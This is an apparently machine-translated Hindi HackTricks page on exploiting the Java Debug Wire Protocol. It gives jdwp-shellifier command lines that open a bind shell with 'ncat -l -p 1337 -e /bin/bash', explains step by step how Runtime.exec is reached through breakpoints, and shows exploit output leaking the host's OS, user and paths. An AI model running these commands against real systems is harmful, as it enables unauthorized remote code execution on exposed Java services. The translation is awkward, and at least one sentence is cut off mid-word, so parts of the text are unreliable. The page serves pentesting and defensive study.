hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

26 KiB
Raw Blame History

JDWP पेंटेस्टिंग - जावा डीबग वायर प्रोटोकॉल

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

शोषण

आप https://github.com/IOActive/jdwp-shellifier में स्थित पायथन शोषण का उपयोग कर सकते हैं।

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

मैंने यह पाया है कि --break-on 'java.lang.String.indexOf' का उपयोग करने से एक्सप्लॉइट और स्थिर हो जाता है। और यदि आपके पास मेजबान पर एक बैकडोर अपलोड करने और उसे एक कमांड के बजाय निष्पादित करने का मौका होता है, तो एक्सप्लॉइट और भी स्थिर हो जाएगा।

सामान्यतः इस डीबगर को पोर्ट 8000 पर चलाया जाता है और यदि आप पोर्ट के साथ एक TCP कनेक्शन स्थापित करते हैं और "JDWP-Handshake" भेजते हैं, तो सर्वर आपको वही स्ट्रिंग उत्तर देना चाहिए।
इसके अलावा, आप नेटवर्क में इस स्ट्रिंग की जांच कर सकते हैं और संभावित JDWP सेवाओं को खोज सकते हैं।

प्रक्रियाओं की सूची, यदि आपको किसी जावा प्रक्रिया में "jdwk" स्ट्रिंग मिलती है, तो संभावतः उसमें **जावा डीबग वायर्ड प्रोटोकॉल **सक्रिय हो गया है और आप लेटरली या यहां तक ​​कि वृद्धि अधिकार (यदि रूट के रूप में निष्पादित किया जाए) कर सकते हैं।

अधिक विवरण

कॉपी किया गया https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

जावा डीबग वायर्ड प्रोटोकॉल

जावा प्लेटफ़ॉर्म डीबग आर्किटेक्चर (JPDA): JDWP जावा डीबगिंग सिस्टम के एक घटक है, जिसे जावा प्लेटफ़ॉर्म डीबग आर्किटेक्चर (JPDA)[2] कहा जाता है। निम्नलिखित एक सारणी में विस्तृत आर्किटेक्चर दिखाई गई है:

डीबगी में हमारे लक्षित एप्लिकेशन चलाने वाला एक मल्टी-थ्रेडेड JVM होता है। दूरस्थ डीबग करने के लिए, JVM इंस्टेंस को व्यापक रूप से -Xdebug विकल्प के साथ शुरू करना होता है, साथ ही -Xrunjdwp (या -agentlib) विकल्प का उपयोग करना होता है। उदाहरण के लिए, रिमोट डीबगिंग सक्षम करके एक टॉमकैट सर्वर शुरू करने के लिए यह देखने की तरह होगा:

आर्किटेक्चर डायग्राम में दिखाए गए रूप में, जावा डीबग वायर्ड प्रोटोकॉल डीबगर और JVM इंस्टेंस के बीच केंद्रीय लिंक है। प्रोटोकॉल के बारे में अवलोकन निम्नलिखित हैं:

  • यह एक पैकेट-आधारित नेटवर्क बाइनरी प्रोटोकॉल है।
  • यह अधिकांशतः समकालिक है। डीबगर JDWP पर एक कमांड भेजता है और एक जवाब प्राप्त करने की उम्मीद करता है। हालांकि, कुछ कमांड, जैसे इवेंट्स, समकालिक प्रतिक्रिया की उम्मीद नहीं करते हैं। वे एक जवाब भेजेंगे जब विशेष स्थितियाँ पूरी हो जाएं। उदाहरण के लिए, ब्रेकपॉइंट एक इवेंट है।
  • इसमें प्रमाणीकरण का उपयोग नहीं होता है।
  • इसमें एन्क्रिप्शन का उपयोग नहीं होता है।

इन सभी अवलोकनों का पूरा संगठन एक डीबगिंग प्रोटोकॉल के बारे में बात कर रहा है। हालांकि, जब ऐसी सेवा एक शत्रुतापूर्ण नेटवर्क के सामने रखी जाती है, या इंटरनेट के सामने होती है, तो चीजें गलत हो सकती हैं।

हैंडशेक: JDWP निर्दिष्ट करता JDWP आपको मेमोरी में मौजूद वस्तुओं तक पहुंचने और उन्हें आवंटित करने की अनुमति देता है, इसके अलावा यह आपको डेटा बनाने या ओवरराइट करने की भी अनुमति देता है।

  • VirtualMachine/CreateString आपको एक स्ट्रिंग को JVM रनटाइम में रहने वाले java.lang.String में बदलने की अनुमति देता है।
  • VirtualMachine/RedefineClasses आपको नई क्लास परिभाषाओं को स्थापित करने की अनुमति देता है।

"सभी आपके JDWP हमारे हैं"

जैसा कि हमने देखा है, JDWP जीवीएम मेमोरी में अनिश्चित कक्षाओं को लोड करने और पहले से मौजूद और / या नई लोड बाइटकोड को आवंटित करने के लिए निर्मित आदेश प्रदान करता है। अगला अनुभाग पायथन में उपयोग के लिए उपयोग करने वाले एक JDI फ्रंट एंड का आंशिक अमलीकरण के रूप में व्यवहार करने वाले उत्पादन को कवर करेगा, ताकि यह संभव हो सके। इस स्वतंत्र उत्पाद लिखाने का मुख्य कारण यह है कि, एक पेंटेस्टर के रूप में, मुझे "हेड-शॉट" उत्पादों पसंद हैं। अर्थात, जब मुझे यकीन होता है कि एक वातावरण / एप्लिकेशन / प्रोटोकॉल संवर्धनशील है, तो मेरे पास तत्परता से इसका उपयोग करने के लिए अपना उपकरण होना चाहिए (अर्थात, अब तक बस एक प्रमाणिकरण ही मौजूद था)। तो अब जब हमने सिद्धांत को कवर कर लिया है, तो अब व्यावहारिक अमलीकरण में आते हैं। खुले JDWP सेवा के सामने आने पर, अनिश्चित आदेश निष्पादन केवल पांच कदम दूर हैं (या इस उत्पाद के साथ, केवल एक कमांड लाइन दूर हैं)। यहां यह कैसे होगा: 1. जावा रनटाइम संदर्भ प्राप्त करेंजीवीएम अपने संदर्भों के माध्यम से वस्तुओं को बदलता है। इसलिए, हमारे उत्पाद को पहले जावा.लैंग.रनटाइम कक्षा के संदर्भ को प्राप्त करना होगा। इस कक्षा से, हमें getRuntime() विधि के संदर्भ की आवश्यकता है। इसे उपयोग करने के लिए, हमें सभी कक्षाओं (AllClasses पैकेट) और हम जिस कक्षा की तलाश कर रहे हैं, उस कक्षा में सभी विधियों (ReferenceType/Methods पैकेट) को प्राप्त करना होगा। 2. ब्रेकपॉइंट सेटअप करें और सूचना के लिए प्रतीक्षा करें (असिंक्रोनस कॉल)यह हमारे उत्पाद की कुंजी है। अनिश्चित कोड को निष्पादित करने के लिए, हमें एक चल रहे थ्रेड संदर्भ में होने की आवश्यकता होती है। इसे करने के लिए, एक हैक यह है कि एक ऐसे विधि पर ब्रेकपॉइंट सेटअप करना है जिसे ज्ञात होने पर रनटाइम में बुलाया जाता है। पहले ही देखा गया है कि JDI में एक ब्रेकपॉइंट एक असिंक्रोनस घटना है जिसका प्रकार BREAKPOINT (0x02) पर सेट किया जाता है। जब हिट होता है, तो जीवीएम हमारे डीबगर को एक इवेंटडेटा पैकेट भेजता है, जिसमें हमारा ब्रेकपॉइंट आईडी, और अधिक महत्वपूर्ण रूप से, उस थ्रेड के संदर्भ को शामिल होता है।
\

इसलिए यह एक अच्छा विचार है कि इसे एक आमतौर पर बुलाए जाने वाली विधि पर सेट किया जाए, जैसे java.net.ServerSocket.accept(), जिसे नई नेटवर्क कनेक्शन प्राप्त करने पर बहुत ही संभावित रूप से बुलाया जाता है। हालांकि, ध्यान देना चाहिए कि यह किसी भी विधि हो सकती है जो रनटाइम में मौजूद होती है। 3. पेलोड को निष्पादित करने के लिए रनटाइम में एक जावा स्ट्रिंग ऑब्जेक्ट का आवंटनहम जीवीएम रनटाइम में कोड निष्पादित करेंगे, इसलिए हमारे सभी मानिपुरेटेड डेटा (जैसे स्ट्रिंग) को जीवीएम रनटाइम में मौजूद होना चाहिए (अर्थात, एक रनटाइम संदर्भ होना चाहिए)। इसे बहुत आसानी से एक CreateString कमांड भेजकर किया जाता है।

  1. ब्रेकपॉइंट संदर्भ से रनटाइम ऑब्जेक्ट प्राप्त करेंइस बिंदु पर हमें एक सफल, विश्वसनीय शोषण के लिए लगभग सभी तत्व हमें चाहिए होते हैं। जो हमें चाहिए एक रनटाइम ऑब्जेक्ट संदर्भ है। इसे प्राप्त करना आसान है, और हम आसानी से जीवीएम रनटाइम में java.lang.Runtime.getRuntime() स्थायी विधि[8] को निष्पादित करके प्राप्त कर सकते हैं, एक ClassType/InvokeMethod पैकेट भेजकर और रनटाइम कक्षा और थ्रेड संदर
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting 192.168.2.9:8000
[+] Reading settings for Java HotSpot(TM) 64-Bit Server VM  1.6.0_65
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System Mac OS X
[+] Found User name pentestosx
[+] Found ClassPath /Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar
[+] Found User home directory /Users/pentestosx
[!] Command successfully executed

एक ही कमांड लाइन, लेकिन एक Windows सिस्टम के खिलाफ और पूरी तरह से अलग तरीके से तोड़ना:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lang.String.indexOf
[+] Targeting 192.168.2.8:8000
[+] Reading settings for Java HotSpot(TM) Client VM  1.7.0_51
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on java.lang.String.indexOf
[+] Received matching event from thread 0x8f5
[+] Found Operating System Windows 7
[+] Found User name hugsy
[+] Found ClassPath C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar
[+] Found User home directory C:Usershugsy
[!] Command successfully executed

हम अपने एक्सप्लॉइट को निष्पादित करते हैं ताकि एक बाइंड शेल उत्पन्न हो सके जिसमें पेलोड "ncat -e /bin/bash -l -p 1337" हो, एक लिनक्स सिस्टम के खिलाफ:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 cmd ncat -l -p 1337 -e /bin/bash
[+] Targeting 192.168.2.8:8000
[+] Reading settings for OpenJDK Client VM  1.6.0_27
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept
[+] Received matching event from thread 0x82a[+] Selected payload ncat -l -p 1337 -e /bin/bash
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat

अंतिम उत्पादन उन तकनीकों का उपयोग करता है, कुछ जांचें जोड़ता है और सस्पेंड/रिज्यूम संकेत भेजता है ताकि अधिक से अधिक व्यवधान न हो (आपके काम कर रहे एप्लिकेशन को तोड़ना सबसे अच्छा होता है, सही है ना?). इसके दो मोड होते हैं:

  • "डिफ़ॉल्ट" मोड पूरी तरह से अनुरोधरहित होता है और सिर्फ़ जावा कोड को निष्पादित करता है ताकि स्थानीय सिस्टम जानकारी प्राप्त की जा सके (ग्राहक को PoC के लिए उत्कृष्ट है)।
  • "cmd" विकल्प पारिस्थितिकी उपकरण पर एक सिस्टम कमांड निष्पादित करता है और इसलिए अधिक व्यापक होता है। यह कमांड JVM के साथ चल रहे अधिकारों के साथ किया जाता है।

यह उत्पादन स्क्रिप्ट सफलतापूर्वक टेस्ट किया गया था:

  • Oracle Java JDK 1.6 और 1.7
  • OpenJDK 1.6
  • IBM JDK 1.6

जैसा कि जावा डिज़ाइन के अनुसार प्लेटफ़ॉर्म-स्वतंत्र है, इसलिए जावा द्वारा समर्थित किसी भी ऑपरेटिंग सिस्टम पर कमांड निष्पादित किए जा सकते हैं। यह वास्तव में हमारे लिए अच्छी खबर है: खुली JDWP सेवा विश्वसनीय RCE का मतलब है। अब तक, सब ठीक है।

वास्तविक जीवन में शोध के बारे में क्या?

वास्तव में, JDWP जावा एप्लिकेशन दुनिया में काफी उपयोग होता है। हालांकि, रिमोट मूल्यांकन करते समय पेंटेस्टर्स इसे इतनी बार नहीं देखेंगे क्योंकि फ़ायरवॉल्स इसे अधिकांशतः ब्लॉक कर देंगे (और करना चाहिए)। लेकिन यह यह नहीं कि JDWP जंगली में नहीं पाया जा सकता है:

  • इस लेख को लिखने के समय, ShodanHQ[4] पर त्वरित खोज ज्ञात करती है कि लगभग 40 सर्वर JDWP हैंडशेक भेज रहे हैं:

यह वास्तव में एक दिलचस्प खोज है क्योंकि, जैसा कि हमने पहले देखा है, यह ग्राहक-पक्ष (डिबगर) होता है जो संवाद प्रारंभ करता है।

  • GitHub[7] भी कई संभावित भेद्य ओपन-सोर्स एप्लिकेशनों की संख्या दिखाता है:

  • विशेष पोर्ट (tcp/8000, tcp/8080, tcp/8787, tcp/5005) के लिए इंटरनेट की खोज करने के लिए masscan कई होस्ट (जिनकी रिपोर्ट यहां नहीं की जा सकती है) को प्रतिक्रिया देता है।
  • "एंटरप्राइज" एप्लिकेशनों को जंगली में एक JDWP सेवा चलाई गई थी *डिफ़ॉल्ट रूप से* (वास्तविक पोर्ट नंबर को जिज्ञासु पाठक के लिए छोड़ दिया गया है)।

इंटरनेट पर खुली JDWP सेवाओं की खोज करने के कुछ तरीके हैं। यह एक अच्छा याददाश्त है कि एप्लिकेशनों को नियमित रूप से सुरक्षा समीक्षा से गुजरना चाहिए, उत्पादन पर्यावरणों में किसी भी डिबगिंग कार्यक्षमता को बंद कर दिया जाना चाहिए, और फ़ायरवॉल को सामान्य चलन के लिए आवश्यक सेवाओं तक पहुंच को प्रतिबंधित करना चाहिए। किसी को एक JDWP सेवा से कनेक्ट करने की अनुमति देना एक gdbserver सेवा के साथ कनेक्शन की अनुमति देने के बराबर है (जो एक अधिक स्थिर तरीके में हो सकता है)। मुझे आशा है कि आपने JDWP के साथ खेलने के तरीके के साथ इस लेख का आनंद लिया होगा। सभी महान समुद्री डाकूओं को, खुश JDWP pwning !!

धन्यवाद

मैं इल्जा वैन स्प्रुंदेल और सेबस्टियन मैके को उनके विचारों और परीक्षणों के लिए धन्यवाद देना चाहूंगा।

**संदर्भ